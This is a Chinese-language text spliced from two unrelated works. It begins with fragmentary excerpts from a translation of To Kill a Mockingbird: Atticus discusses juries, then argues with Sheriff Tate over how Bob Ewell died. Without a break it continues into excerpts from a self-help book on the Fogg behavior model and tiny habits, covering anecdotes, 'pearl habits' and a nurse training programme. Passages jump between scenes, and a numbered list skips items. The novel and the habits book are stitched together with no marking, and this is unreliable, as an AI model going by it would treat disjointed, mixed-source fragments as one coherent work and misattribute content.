　　阿迪克斯的语调很平静，所以他说到最后，那个词让我们的耳膜猛地一震。我抬起头，发现他脸上带着激愤的表情。“这个世界上最让我厌恶的事情，莫过于下等白人利用黑人的单纯无知欺骗他们。休要自欺欺人——这些行为一天一天积累起来，我们早晚要为此付出代价。我希望不是你们这一代去偿还。”

　　“我还一直在想，你什么时候会意识到这一点呢。”他说，“原因有很多。其中一个是，莫迪小姐不能担任陪审员，因为她是女人……”

　　“你是说，在亚拉巴马州，女人不能……”我腾地一下愤怒起来。

　　“是这样。我猜，这大概是为了保护脆弱的女同胞们，免得她们接触到肮脏下流的案件，比方说汤姆这个案子。另外呢，”阿迪克斯咧嘴一笑，“如果让女士们来担任陪审员，我怀疑案子永远都结不了——她们会没完没了地打断别人，提出各种问题。”

　　我和杰姆哈哈大笑起来。要是莫迪小姐坐在陪审席上，肯定会给人留下深刻印象。我想象着老杜博斯太太坐在轮椅里参加庭审的情景——“约翰·泰勒，别再敲了。我想问这个人几个问题。”也许我们的先辈这样规定是明智之举。

　　阿迪克斯说：“对于我们这样的人而言——这是我们应负的一份责任。总的来说，我们就配得到这样的陪审团。首先，梅科姆的公民顽固得很，对担任陪审员不感兴趣；其次，他们也是有所畏惧。还有就是，他们……”

　　“畏惧？为什么呢？”杰姆问。

　　“怎么说呢，如果——咱们来打个比方，假设雷切尔小姐开车撞了莫迪小姐，由林克·迪斯先生来决定赔偿的金额。作为一个店主，林克先生不想失去任何一位主顾，对不对？于是他就对泰勒法官说，他不能担任陪审员，因为他不在店里的时候没有人帮他照应生意。这样一来，泰勒法官只好答应他的请求。有时候他是带着愤怒应允的。”

　　“他为什么觉得其中一个人不会再到他的店里买东西呢？”我问。

　　杰姆说：“雷切尔小姐会，莫迪小姐不会。不过，陪审团的投票表决是保密的啊，阿迪克斯。”

　　我们的父亲嘿嘿一笑。“你还有很长的路要走啊，儿子。按理说，陪审团的投票表决应该是保密的。可是，一个人在履行陪审员义务的时候，就得对某个案子拿定主意，并且表明自己的看法。人们不喜欢这么做。有时候搞得很不愉快。”

　　“哦，赫克，”阿迪克斯说，“我看当务之急是……老天爷，我的记性越来越差了……”阿迪克斯把眼镜推上去，用手指按揉着眼睛。“杰姆还不到十三岁……不对，他已经十三岁了——我连这个都记不清了。不管怎么样，这个案子都会在县法庭进行审理……”

　　“什么案子要上法庭，芬奇先生？”泰特先生放下二郎腿，朝阿迪克斯探过身子。

　　“当然啦，这显而易见是一起正当防卫，不过我还是得去办公室查查资料……”

　　“芬奇先生，你认为是杰姆杀了鲍勃·尤厄尔？你是这么看的吗？”

　　“你听见斯库特是怎么说的了，这是毫无疑问的。她说杰姆从地上爬起来，猛地一下把鲍勃·尤厄尔从她身上拽开——也许他在黑暗中夺下了尤厄尔手里的刀……这个我们明天就会弄清楚。”

　　“芬——奇先生，你等一下，”泰特先生说，“杰姆根本没有用刀刺过尤厄尔。”

　　阿迪克斯沉默了片刻。他看着泰特先生，似乎对他所说的话甚为感激。不过阿迪克斯还是摇了摇头。

　　“赫克，我知道你这么做是出于好心，我也领情了，可是，这种事情绝不能开头儿。”

　　泰特先生站了起来，走到前廊边上，朝灌木丛里啐了一口唾沫，然后把双手插进后裤兜里，面对着阿迪克斯。“开什么头儿？”他问。

　　“赫克，你别怪我直来直去。”阿迪克斯单刀直入地说，“但是这件事儿谁也别想隐瞒过去。这不是我做事的风格。”

　　“没有谁要隐瞒什么，芬奇先生。”

　　泰特先生的声音很平静，他的靴子牢牢地踏在地板上，就像是脚下生了根一样。我父亲和警长之间展开了一场奇异的对抗，这究竟是一种什么样的抗争，我实在捉摸不透。

　　现在轮到阿迪克斯站起身来，走到前廊边上。他清了清嗓子，朝院子里干啐了一口。他也把两手插在后裤兜里，面对着泰特先生。

　　“赫克，虽然你没把话说明白，我也知道你在想什么。谢谢你的好意。琼·露易丝……”他转向我说，“你刚才说，是杰姆把尤厄尔先生从你身上拽开了，对吗？”

　　“是的，我是这么认为的……我……”

　　“赫克，你听到了吧？我从心底里感激你，但是，我不想让我的儿子顶着这样一团阴影开始他的人生。驱散阴影的最好办法，就是把一切都摆在明面上。让全县的人都带着三明治来参加庭审吧。我不想让他在人们的窃窃私语中长大，我不想听见任何人说：‘杰姆·芬奇……他老爹花了一大笔钱，才让他脱了干系。’这一篇越早翻过去越好。”

　　“芬奇先生，”泰特先生淡淡地说，“鲍勃·尤厄尔是倒毙在自己的刀口上。他自己害死了自己。”

　　阿迪克斯走到前廊一角，眼睛盯着紫藤。我觉得，他们两个都很固执，虽然固执得各有千秋。我真不知道谁会先让一步。阿迪克斯的固执表现得平静似水，几乎不形于色，但倔强起来和坎宁安家的人很有几分相像。泰特先生的固执则是直冲冲的，显得有些粗莽，不过他和我父亲是旗鼓相当。

　　“赫克，”阿迪克斯背过身去说，“如果我们掩盖了事情的真相，那就等于完全违背了我一直以来教育杰姆如何做人的原则。有时候，我觉得自己作为一个父亲很失败，简直一无是处，可我就是他们所拥有的全部。在这个世界上，杰姆最先看的人是我，然后才去看别人，我一直努力让自己活得堂堂正正，能够直视他的目光……如果我默许这种事情发生，坦率地说，我从此以后再也无法坦然面对他的眼睛，如果是这样的话，我就知道自己已经永远失去了他。我不想失去他和斯库特，因为他们是我的一切。”

　　“芬奇先生，”泰特先生依然稳稳地根植在地板上，“鲍勃·尤厄尔是自己倒在刀口上的。我能证明这一点。”

　　阿迪克斯转过身来。他的手深插在口袋里。“赫克，你就不能从我的角度考虑一下吗？你也有孩子，只不过我年龄比你大。等我的孩子长大成人之后，如果我还活着，也已经是个老家伙了，可现在我——如果他们不信任我，也就不会信任任何人。杰姆和斯库特知道当时发生了什么。如果他们听见我在镇上讲的是另一个故事——赫克，那样我就会永远失去他们啊。我绝对不能家里一套外面一套。”

　　泰特先生用鞋跟在地板上蹍来蹍去，耐心地说：“他把杰姆摔在地上之后，自己也被树根绊倒在树底下——你瞧着，我可以演示给你看。”

　　泰特先生把手伸进裤子侧兜里，掏出一把长长的弹簧刀。这时候雷诺兹医生来到了门口。“医生，那个婊子养的——死在了校园里那棵树底下。你有手电筒吗？最好带上这个。”

　　“我能想办法绕过去，把车灯打开。”雷诺兹医生说，不过他还是接过了泰特先生的手电筒，“杰姆没什么事儿。我看他今天晚上不会醒来，所以用不着担心。鲍勃·尤厄尔是被这把刀杀死的吗，赫克？”

　　“不是，那把刀还插在他身上。从刀柄来看是把厨刀。肯应该已经把棺材运过去了。晚安，医生。”

　　泰特先生啪的一声打开弹簧刀。“就像这样。”他说。他握着刀柄，假装绊了一跤，在他身体前倾的同时，他把左臂伸到了自己的前下方。“看明白了吗？他就这样刺穿了自己的软肋。他的全部重量落在刀刃上，刀子顶了进去。”

　　泰特先生合上弹簧刀，塞回口袋里。“斯库特才八岁，”他说，“她当时吓坏了，根本不知道究竟发生了什么。”

　　“你会大吃一惊的。”阿迪克斯冷冷地说。

　　“我不是说她在胡编乱造，我是说她太惊慌了，弄不清楚到底发生了什么。再说当时天黑得要命，漆黑一片。除非有谁非常习惯黑暗，才有资格充当目击证人……”

　　“我无法接受你这种解释。”阿迪克斯轻轻地说。

　　“真见鬼，我不是在为杰姆着想！”

　　泰特先生的靴子在地板上跺了一下，声音大得出奇，莫迪小姐的卧室里亮起了灯光。斯蒂芬妮小姐家的灯也亮了。阿迪克斯和泰特先生望了望街对面，又彼此对视了一眼。他们静静地等着一切平息下来。

　　泰特先生再次开口说话的时候，声音低得几乎听不见。“芬奇先生，我不想在这种时候跟你争辩。今天晚上你承受的压力太大了，任何人都不应该有这样的经历。我不知道你为什么能顶得住，还没倒在床上。不过，我现在很清楚，你这回没有根据事实进行推理，而我们今天晚上必须解决这件事儿，因为等到明天就太迟了。鲍勃·尤厄尔肚子上还插着把刀子呢。”

　　泰特先生又问阿迪克斯，难道他打算站在法庭上，坚持认为一个跟杰姆体格相当的男孩，能在伸手不见五指的黑暗中，拖着一条被扭断的胳膊，和一个成年人搏斗，最后还杀死了他吗？

　　“赫克，”阿迪克斯突然问道，“你刚才挥舞的那把弹簧刀，是从哪儿弄来的？”

　　“从一个醉汉手里没收的。”泰特先生淡淡地答道。

　　我努力回想当时的情景。尤厄尔先生勒得我喘不上气……然后他倒了下去……一定是杰姆爬了起来。至少我是这么认为的……

　　“赫克？”

　　“我说过了，是我今晚在镇上从一个醉汉手里没收来的。鲍勃·尤厄尔可能是在垃圾场的什么地方捡到了那把厨刀，磨得贼快，然后就等待时机……等待时机下手。”

　　阿迪克斯步履沉重地走到秋千架旁，坐了下来。他的双手无力地垂在两膝之间，眼睛盯着地板。他的动作异常缓慢，就像那天晚上在监狱前面一样，当时我看着他把报纸折叠起来扔在椅子上，觉得这个慢动作似乎永远不会停下来。

　　泰特先生尽量放轻脚步，在前廊上踱来踱去。“这不是你能决定的，芬奇先生，一切取决于我。这是我的决定，也是我的责任。起码这一回，你得站在我的角度看问题，否则你再想反驳也无能为力。如果你非要试试，我会和你当面对质，说你是撒谎，说你的儿子根本没有用刀刺死鲍勃·尤厄尔。”他缓缓地说，“这件事儿根本扯不到他身上，你现在心里也很明白。他只是想让自己和妹妹安全到家。”

　　泰特先生停下了脚步，站在阿迪克斯面前，正好背对着我们。“先生，我不是个十足的好人，可我是梅科姆县的警长。我在这个镇上生活了一辈子，转眼就四十三岁了。这里发生过的一切我都一清二楚，从我出生之前到现在发生的事情，没有我不知道的。有个黑人小伙子平白无故丢了性命，而那个应该为此负责的家伙也一命呜呼了。这回就让死者埋葬死者吧，芬奇先生。让死者埋葬死者吧。”

　　泰特先生走到秋千架旁，拿起他先前放在阿迪克斯身边的帽子，然后向后捋了捋头发，把帽子戴在了头上。

　　“我从来没有听说过，一个公民竭尽全力阻止犯罪的发生，是违反法律的行为——这正是他所做的。也许你要说，我有责任把真相告诉镇上所有的人，不应该有所隐瞒。可你知道这会带来什么后果吗？梅科姆所有的女人，包括我太太在内，都会捧着天使蛋糕去敲他的门。芬奇先生，在我看来，这个人为你、为整个镇子做了一件大好事儿，如果人们无视他的隐居习惯，硬要把他拉到聚光灯下——我认为，这就是犯罪。这样的罪恶，我可不想加在自己头上。如果换成任何其他人，就是另一回事儿了。可他不一样，芬奇先生。”

　　泰特先生像是要用靴尖在地板上钻出一个洞。他揪了揪鼻子，然后又揉了几下左胳膊。“芬奇先生，我也许算不上什么人物，可我毕竟还是梅科姆县的警长。我说过了，鲍勃·尤厄尔是自己倒在刀口上毙命的。晚安，先生。”

　　泰特先生咚咚咚地走下前廊，又大踏步穿过前院。只听他砰的一声关上车门，把车开走了。

　　阿迪克斯坐在那里，眼睛盯着地板，沉默良久。最后他终于抬起头来。“斯库特，”他说，“尤厄尔先生是自己倒在刀口上的。你能听明白吗？”

　　阿迪克斯看上去需要有人帮他打起精神。我跑过去，使劲儿拥抱他，亲吻他。“是的，我能理解，”我宽慰他说，“泰特先生是对的。”

　　阿迪克斯挣脱出来，认真地看着我。“你这话是什么意思？”

　　“怎么说呢，这就像是杀死一只知更鸟，对不对？”

　　阿迪克斯把脸埋在我的头发里轻轻蹭了一会儿。他起身穿过前廊走进阴影里的时候，又恢复了往常轻快的脚步。他进屋之前，在怪人拉德利面前停顿了一下。“阿瑟，谢谢你救了我的孩子。”他说。

福格行为模型

从小改变着手的 5 个原因

原因 1，可以利用碎片时间

　　时间似乎永远都不够用，人们总是想要更多时间。为了赶时间，我们常常会在车里狼吞虎咽，或是边在沙滩上陪孩子玩边开电话会议，这些都是因为我们觉得时间不够用。这种压力导致了一种匮乏心态—— 时间永远都不够用，没有多余的时间让我们用来培养新的积极习惯，于是我们拒绝改变。每天运动 30 分钟？每晚做一顿健康营养的晚餐？每天写心情日记？别想了。谁……有……这个……时间！

　　你大可以在改变的过程中不断自我批评，但你也可以活得更轻松—— 从小改变着手。运用微习惯策略，专注于那些 30 秒内即可完成的小动作，就能迅速培养新习惯，而它们将自发地扩大规模。从小改变着手意味着，无须担心时间不够用，就能做出大改变。运用微习惯策略时，我建议从 3 个非常小的行为开始，不过哪怕只有一个也可以。压力越大，时间越不够用，这套方法就越适合你。无论你多想培养某个健康习惯，如果一开始太贪心，那也会很难成功，因为这样新习惯难以持续。对大多数人来说，微习惯可能都是最佳选择，甚至是唯一的选择。

原因 2，可以立刻开始改变

　　从小改变着手对你和你的生活来说都是最务实的。而且，这样能让你立刻开始。无论你是正身处人生中的绝望旋涡，还是除了压力过大之外，其他方面都算幸运，这个方法都能够适合你。每个人都有自己需要面对的人生处境、不理想的思维模式和阻碍进步的消极心理。我们可以对此自怨自艾，但只要利用微习惯策略，我们也可以打破现状。

原因 5，不需要依赖动机或意志力也能做到

　　你一定听到过很多关于行为改变的言论，它们可能会误导你，所以，要小心。那些被广泛引用的学术理论，往往并不能改变人们的现实生活。如你所知，人们普遍认为行动需要依靠动机和意志力，总是在寻找可以增强并维持它们的方法。但问题是，动机和意志力天生善变，一点儿都不可靠。

　　举个例子，来自芝加哥的朱妮是我认识的最有改变动机的人，她嗜糖成瘾，这已经严重威胁到她的健康、家庭和工作。朱妮是广播电台晨间节目主持人，她的工作日程十分繁忙，并且需要在不同的地点来回奔波。午餐时间，她常常不吃饭，只喝一杯星巴克的焦糖玛奇朵就足够了。这是因为工作节奏过快，她觉得自己需要补充糖分才能打起精神。朱妮认为刺激性食物能让自己打起精神，而冰激凌就是最好的选择，确切地说是泡泡糖和曲奇口味的冰激凌。朱妮每天下班回家都会感到疲惫不堪，直接瘫倒在沙发上沉沉睡去。即使当时两个孩子在玩电子游戏，她也顾不上管。

　　在我认识朱妮之前几年，她的妈妈就因为糖尿病去世了。这给她敲响了警钟，足以让她产生强烈的改变动机。可是，她却开始尝试用更多的冰激凌来治愈失去母亲的这份伤痛。那年夏天，朱妮的体重增加了大约 8 千克。没过多久，她的两个姐妹也都被诊断出患有糖尿病。后来，她患有糖尿病的外婆也去世了。这种疾病正在一个个地带走她的家人。多年来，朱妮总是轻描淡写地说自己只是爱吃甜食，没有上瘾，现在她终于意识到事态严重，她已经失控了。

　　朱妮的改变动机直线上升。她想快速戒掉这个坏习惯，于是尝试了几次戒断法，但这只能在短时间内发挥效用。然后，她就会感觉很难受，甚至自暴自弃，再次狂吃甜食，任由体重不断增加。

　　朱妮一直以为自己无法克服糖瘾是因为意志力不足，她无法拒绝诱惑。这让朱妮感到沮丧并且心生疑惑，因为她一直认为自己的意志特别坚定，要知道，正是因为如此，她才能够成功打造出一档主流广播节目。人们普遍认为改变习惯是意志力问题，但事实并非如此。朱妮因为工作需要而加入了我的行为设计训练营，她开始认真审视自己的生活，并意识到难以戒掉糖瘾并不是由于她缺乏意志力，而是缺少行为设计的问题。做出改变的动机时强时弱不是她的错，更不代表她的品行有问题。

　　朱妮了解到行为设计的一个关键准则：简单才能促成改变。于是，她开始集中精力培养一些小习惯，这些习惯涉及的行为都极其微小，但影响却很大，能帮助她成功戒除糖瘾。朱妮重新设计了生活环境，把那些高糖分零食全都换成了自己爱吃的低糖分零食，而不是芹菜干和胡萝卜之类她不喜欢的健康替代品。她养成了一些运动和饮食习惯，这些习惯能够有效减少她对甜食的渴望。朱妮还发现，失去至亲的痛苦让她想去依赖甜食，于是她又创建了更多微习惯来帮助自己以积极方式消化那些情感。每次产生难过的感觉时，朱妮都会将它当作一个信号，提示自己去写写日记或找朋友聊聊天，而不是去甜食店。或许最重要的是，朱妮能够以坦诚开放和善待自己的心态去对待每一个新习惯。虽然她偶尔也会失控，但她不再认为那是性格问题，而认为这是可以用来改变未来的行为设计洞察。

　　让改变保持微小并降低自己的期望值，才能应对动机和意志力问题。微小的行为很容易做到，无须依赖不可靠的动机就能完成。

播下微习惯的种子

　　在使用微习惯策略时，无论多么小的成功，都可以庆祝一番。这样做能让我们充分利用大脑的神经化学反应，将有意识的动作快速转化为无意识的习惯。感受成功有助于固化新习惯，还能激励我们做更多事情。我每星期都会在微习惯研究数据中观察到这些成果。不仅如此，使用微习惯策略，你还可以学会如何在生活中获得更好的感觉。鼓励自己而非打击自己，拥有这种能力才能让改变的种子深深地扎根。

　　琳达就是在身处我称之为飓风级人生风暴中时，种下了第一颗微习惯的种子。大约 10 年前，琳达在成为微习惯教练之前，遭遇了一系列沉痛的打击。就在短短几年的时间里，她的儿子死于药物过量，女儿被诊断出患有躁郁症，家族生意也陷入困境。就在承受巨大痛苦的那段时期里，琳达发现她的丈夫出现了阿尔茨海默病的早期症状。于是，她不得不接管家族生意。接着她又发现由于丈夫患病，他的判断力下降，做出了几次错误决策，再加上行业不景气，公司最终不得不申请破产。就这样，他们失去了所有的积蓄，失去了房子，失去了琳达最喜欢的马场。这样的灾难令人难以承受，但琳达却无暇感到绝望，她还要养孩子，还要拯救生意。她悲痛欲绝，却无暇感伤，因此很快就陷入了抑郁。

　　要怎样才能走出眼前的困境？刚开始使用微习惯策略时，琳达告诉我，她每天早上醒来都会躺在床上祈祷获得力量。她想振作起来，想起身下床，想陪在孩子身旁，但她连下床站起来都很困难。在开始执行微习惯策略后，她只想专心做好一件事：每天早晨的挑战。她想在希望而不是绝望中，开始新的一天。在尝试过好几个习惯之后，她终于找到了正确的答案，那就是她声称“拯救了我的人生”的毛伊习惯。这微小的调整、这关键的行为成为琳达做出人生改变的转折点。琳达每天早晨醒来，双脚落地，就会大声地说出那句话：“今天又是美好的一天！”

　　一切很快开始变得和以往不同，非常不同。

　　对琳达来说，微习惯是唯一的选择。她需要从小事开始做出改变，需要获得一些良好的感受。新习惯让她有了成功的感觉，让她变得做事更高效、能够保持健康，也让她为了孩子变得更坚强。更重要的是，这些新习惯成为她播撒在生活裂缝中的微小种子。它们不断地茁壮成长。即便新的裂缝出现，琳达也能意识到，自己完全有能力去感受成功。她成功了。成功的证据之花在她身边肆意绽放，她只需持续灌溉就好了。

　　6 年过去，琳达已经辅导成千上万人使用微习惯策略。她喜欢自己的工作。她的生活仍然很艰难，但每天早上醒来，她已经不再有任何彷徨。她知道微习惯能改变一切，所以每天早上醒来，双脚踩在地板上后，她会立刻说出这句话：“今天又是美好的一天！”

解决行为问题的 3 个步骤

　　想实施某个行为或想要别人实施某个行为，但可能无法成功的情况，我们经常会遇到。对此，我有个好消息告诉你：行为设计为我们提供了一组可用于解决此类常见问题的具体步骤。举例来说，你希望员工都能准时参加团队例会，但总有人会迟到几分钟。很多管理者会被这种行为触怒，进而摆脸色给迟到者看，甚至罚款。他们这都是在尝试利用动机让行为准时发生。但这些做法都是错的。你不能直接就从动机入手去解决行为问题。

　　你可以遵循如下步骤，按顺序逐个尝试。如果第一步没效果，那就到下一步，依此类推。

　　1．检查有没有行为提示。

　　2．检查有没有行为能力。

　　3．检查有没有行为动机。

　　无论是为自己还是为他人解决行为问题，从提示入手都是最容易的。此人是否已经得到了行为提示？你可以问问那些迟到的员工：你们有没有一个准时参加会议的提示？如果没有，就为他们设置提示。这样或许就能解决迟到问题。

　　但如果这样做没有效果，那就进入下一步：检查人们有没有行为能力。问问那些迟到的员工，是什么让他们难以准时抵达会议室。（现在只需问这个问题就够了，在第 3 章，我将介绍一种更全面的方法。）你或许会发现，员工之所以会迟到，是因为他们的上一个会议才刚刚结束，实在无法准时参加另一个会议。这样，你就找到答案了，这是一个能力问题，而不是动机问题。不过我们先假设大家既有提示也有能力，把迟到当成一个动机问题看待。如果是这样，我们就得想办法先激发大家守时的动机。（有很多办法可以做到这一点，好坏都有。）

　　大多数人都以为要想实施某种行为，就必须先解决动机问题，但实际上它是最后一步要解决的问题。不管是在工作还是生活中，这个问题解决步骤都可以为你省去不少麻烦。比如，假设你想让女儿放学回家时帮你买几张海报纸，作为交换条件，她可以开你的车去学校。你觉得这挺公平的，但是那天她放学回家并没有帮你买。你有些不高兴，并且向她解释你有多需要海报纸。（把车给她开和向她解释你的需求，都是动机策略。）你的女儿说：“对不起，我明天去买。”然而，她第二天还是没有帮你买回来。这一次，你生气了，告诉她你不会再让她开你的车，还批评她不靠谱。（这也是一种动机策略。）这种情况可不太妙。

　　现在，让我们重新假设你已经知道了解决问题的方法。第一天，当你女儿没有把海报纸带回家时，你并没有发火。你进入了问题解决模式：“你有没有想过用什么办法提醒自己去买海报纸？”“没有。我只是觉得自己能记得，结果却忘记了。”于是你问她：“你觉得明天用什么来提醒你比较好？”这样你就可以来设计第二天的提示。她说她会在手机上记一条待办事项。你猜结果如何？第二天，她高高兴兴地把海报纸交给了你。

　　当你把这种问题解决方法用于自身行为时，会发现这能让你不再自责。比如，你打算早上冥想，结果却没做，与其责怪自己缺少意志力或动力，不如逐一确认以下几个问题：有没有什么可以提示你？是什么让这件事变得难以做到？在多数情况下，有些行为难以做到的根本原因不是缺乏动机。只要找到一个好的提示，或是让行为更容易做到，就能解决行为问题。

“珍珠习惯”，管理压力与焦虑

　　一旦学会设计和重新设计生活中的提示，就能以一种全新的方式来管理人生中的压力与焦虑。

　　在人生中的前几十年，高质量睡眠一直是我的一大挑战。我深知睡眠的重要性，但我的头号健康问题恰恰源于糟糕的睡眠。卧室里的空调在半夜自动关停时，总是会发出声响把我吵醒。我想过要换一台更高档的空调，但后来我找到了一个更快更简单的解决方案。某天晚上，我又一次在半夜被吵醒，在空调又一次发出声响之前，我决定把这个噪声当作放松脸部和颈部肌肉的锚点。我的具体配方是：在我听到空调关停的声响之后，我会放松放松自己的脸部和颈部肌肉。

　　这招奏效了，我很快就养成了固定的习惯。一听到响声，我就会让自己放松下来。因为这个正向的结果，每次空调发出关停的声响，我反而会觉得开心，因为这是在提醒我，放松下来就能睡个好觉。

　　我将这些习惯称为“珍珠习惯”（Pearl Habit），因为它们的本质是将原本惹人厌烦的事情，转化成美好的提示。我个人的例子可能说明不了太多，但最近我听说埃米也做了类似的事情，她以一种创造性的、积极的方式成功发挥出最后动作的力量。埃米解决了一个比我的睡眠烦恼更加棘手的问题，并在这个过程中创造出了一个极其出色的“珍珠习惯”。

　　埃米和丈夫离婚时，从律师到法庭指定的儿童心理疏导师，每个人的态度都很尖锐。由于最终的监护权问题，她和丈夫互相充满怨怼，但他们又不得不时常面对彼此。几个月后，埃米注意到一件事：她每次和前夫发生争吵，一整天里会有数次想起这件事，这会让她一次又一次感到沮丧、愤怒或自责。于是，她决定试着改变这种状况。

　　埃米无法掌控前夫的言行，也无法掌控他们之间的互动情况。前夫的恶言恶语就像坏天气一样阴晴不定——有时难以预料，有时突然爆发。但可以预见的是她之后的感受，于是她决定改变这种状况。她的目标是摆脱前夫对自己情绪的影响。埃米将前夫的言行当成提示，制订了一个计划：每当因为前夫的言行而生闷气时，就要立刻去做能取悦自己的事情，比如播放自己最喜欢的乐队的新专辑，或自己想听但一直没空去听的那本有声书。有时候，埃米会直接开车到星巴克，点一杯自己最喜欢的饮品。只要能让自己好受一点儿，做什么都行。一天当中，埃米能够独处的时间很少，她发现，把新行为当作“善待自己”的习惯会事半功倍，这既能让她夺回一些情绪控制力，还能让她好好爱自己。“在我感觉受到冒犯时，我会考虑去做一些能取悦自己的事情”，这就是埃米的成功习惯配方。

　　这样做的效果极好。面对前夫的恶言恶语，埃米既不再选择反击，也不再一个人生闷气，她会对自己说：“看吧！他又在骂我。看来，我该去看那部我一直想看的电影了！”与其争吵，不如不予理会。埃米转身继续做自己的事情，安排晚上的计划。埃米的生活没有因糟糕的事情跑偏，她也不再时常回想那些争吵……管他呢。埃米开始把丈夫的谩骂视为意外的礼物。毕竟，这提醒了她要好好爱自己，难道不是吗？埃米知道这种逻辑着实有些可笑，但尽可能宽容以待的做法，的确帮助她渡过了难关。

　　幸运的话，埃米不会遇到能让她有如此感受的人。但现实是，我们无法将生命中那些糟糕的人或事一一剔除，因此有时不得不忍受待事不公的、烦人的或举止恶劣的人。不过，我们可以掌控自己这一边。埃米巧妙地利用提示做到了这一点。用他人的行为来提示自己做出正向而非自我挫败的行为，在感到无助时不失为一个好主意。而且，埃米从中得到的积极影响远超她的初衷。孩子们也曾夹在父母中间左右为难，但如今每周交接后，他们的压力似乎也减轻了。埃米还注意到，自己的冷静态度似乎也影响到了前夫，她让前夫的怒气就像气球消了气一样。虽然前夫偶尔还是会冒出几句尖刻的话，但他似乎有些心口不一了。这么久以来，埃米第一次敢期待，他们也许还有做朋友的可能，或者至少是做两个举止文明的家长。这种想法的转变也影响了埃米的前夫，不久，他就彻底不再对埃米恶语相向了。埃米记得有一次，她把孩子们送到前夫那里之后，前夫还跟她开了个玩笑。两年多来，他们难得一起露出笑容。休战成了他们之间一种无言的默契，而仅在一年前，她根本连想都不敢想。

改变他人必须坚持两项原则

　　众所周知，社会动力是行为的强大驱动力。社会动力对我们的影响无处不在，包括我们如何看足球赛、如何谈论政治、如何与人相处（无论是在网上，还是面对面接触）。人们几乎始终生活在社区中，社会影响也始终伴随着人们。社交媒体强化并扩大了这些影响，使我们的生活变得越来越紧密。因此，我们亟须深入思考社会力量是如何塑造我们的个人行为和集体行为，进而影响地球上所有生命的，这比以往任何时候都重要。

　　通过本书，你将学会如何让自己免受那些负面影响，以及如何设计新习惯，给周围的人带来更和谐健康、更有意义的生活。

　　现在，你应该可以明白是什么塑造了你不想要的习惯，包括那些由社会压力造成的习惯。或许，你和家人无法做到一起吃饭时都不看手机；或许，你的公司竞争异常激烈，谁都不肯休假；或许，你所在的读书俱乐部更像是葡萄酒俱乐部。相比于个人习惯，任何集体习惯和规范都更加根深蒂固。但是，我们可以一起改变。牢记这一点至关重要。

　　了解了行为是如何起作用的，就可以明确是什么在支撑着你想要或不想要的那些习惯。在改变群体行为方面，主要有 3 种方法：

　　·设计改变自身行为，从而让自己远离群体的负面影响；

　　·与其他人一起设计改变你们的集体行为；

　　·为他人设计一个对他们有利的改变，就像迈克为克里斯所做的那样。

工作场所，减轻在医院工作的压力

　　几年前，一家研究型大医院聘请我帮助他们解决护士的倦怠问题。我邀请了已成为微习惯教练和培训师的琳达来协助我。医院领导在项目简报会上说，他们的愿望是“帮助护士养成新习惯、变得更坚韧”。从好的角度讲是“坚韧”，但其实大家心里都清楚，实际上是为了解决存在于护士、医生和其他医务人员之间已然很严重且仍在恶化的员工倦怠问题。

　　我知道在医院工作压力很大。护士照顾的都是病人，但照顾得再好，也仍然会有病人死亡，而医生、病人和家属很有可能会因此苛责护士。而且，深入了解护士群体以及她们工作的真实情况之后，我发现，轮班工作带来的压力非常大，这对护士产生了很大的影响，甚至还会影响到她们下班之后的生活状态。

　　琳达和我是通过视频会议的方式给大家上课的，上课时我可以在屏幕上看到每一位护士。有的人在家里，穿着睡衣，一副睡眼惺忪的样子，窝在沙发里正在吃外卖，她们看起来一点儿也不像护士，更像是一群刚刚结束狂欢夜聚会的人；还有的人坐在桌子旁边听课，面露疲态，一脸茫然地盯着摄像头。

　　琳达和我都非常想帮助她们，琳达非常适合做助教，因为她自己就是应用微习惯策略以减轻压力的专家。护士们都明白照顾好自己（和彼此）才能更好地照顾病人这个道理，但她们就是不知道怎样才能实现这一愿望。

　　在接下来的一个月里，我们每星期会为她们上一节时长一小时的微习惯培训课，这一星期的其他时间都留给她们实践练习如何将习惯拆解成微小的行为、如何创建微习惯配方、如何安排锚点习惯的顺序、如何庆祝，以及如何解决问题。

　　我们把护士当成普通人来看待。我们了解了她们既有的一些工作习惯。她们几乎没时间休息。她们使用的是老旧过时、难用烦人的电脑软件。最让我感到惊讶的是，在整整 12 小时的轮班工作期间，她们通常几乎滴水不进。护士们都知道这是一个不健康的行为，但医院的某种文化导向就这样把她们逼到了极限。不喝水，那就不需要上厕所。她们觉得，这样一来自己就可以照顾更多病人，而同事们也都会钦佩她们的这种奉献精神。但这种奉献的代价很大。很多人结束长时间轮班工作回到家后，已经没有精力和家人们互动了，很多人甚至会头疼，还有人会失眠。

　　为了让她们参加微习惯培训课时可以轻松一些，我创建了配方生成器。琳达和我让护士们在工作表的左边写下一份锚点（她们的工作日程）清单。

　　·在我停好车之后……

　　·在我打开电脑之后……

　　·在我巡视完病人之后……

　　·在我做完心电图之后……

　　·在我处理完呼唤铃事宜之后……

　　·在我洗完手之后……

　　琳达和我同护士们一起探索她们可以用于减轻压力的微行为。我们先罗列出了一个长长的清单，然后从中选出了一些，并按照微习惯配方格式填在了工作表的右边：

　　·我会深呼吸一次。

　　·我会对最亲近的人微笑。

　　·我会喝水。

　　·我会寻求帮助。

　　·我会说“谢谢你”。

　　确定了这两部分的内容之后，护士们只需要选择并进行组合即可。通过这种将左侧锚点和右侧微行为配对的方式，护士们很快就创建出了可以在轮班工作期间尝试使用的微习惯配方。护士们互帮互助，有效的微习惯配方都会互相分享。下面是她们创建出的一些微习惯配方：

　　·在我到医院停好车之后，我会闭上眼睛深呼吸 3 次。

　　·在我到岗打卡之后，我会想“今天我在帮助真正需要我的人”。

　　·在我见到病人之后，我会和她们进行眼神交流并保持微笑。

　　·在我把扩展坞插回电脑之后，我会去喝水。

　　·在我们团队聚在一起之后，我会向替换我的第一个夜班同事表示感谢。

　　在护士们学会将微习惯策略应用于繁忙且高压的工作中之后，我们发现，尽管很疲惫、时间很紧迫，护士们还是在共同改变。

　　这并非全部。护士们还很喜欢庆祝。我们用了整整一节课来帮助她们了解应该如何庆祝那些微小的成功，以及为什么要庆祝，效果非常好。正如我们期待的那样，护士们开始为自己的成功进行庆祝，也开始为彼此庆祝，用片刻的掌声庆祝某位护士喝了一口水，击掌庆祝同事来到休息室休息，用一句“不错哦”来庆祝某人的深呼吸放松。

　　我们后来又为医院里的不同人群进行了培训，包括急诊室工作人员和医院管理人员。为了评估微习惯策略对护士们产生的影响，我们还专门开展了一项正式研究。在开始参加培训之前，护士们需要填写一份有关压力和坚韧的匿名调查问卷。培训结束三个月之后，护士们再填写一次这份问卷。数据表明，在下面这些方面，他们有统计意义上的显著提升：

　　·我每天都在实践减轻压力的习惯。

　　·我很好地掌控了工作压力。

　　·我全天都有在练习构建韧性的技巧。

　　·我每天都在实践工作中的健康习惯。

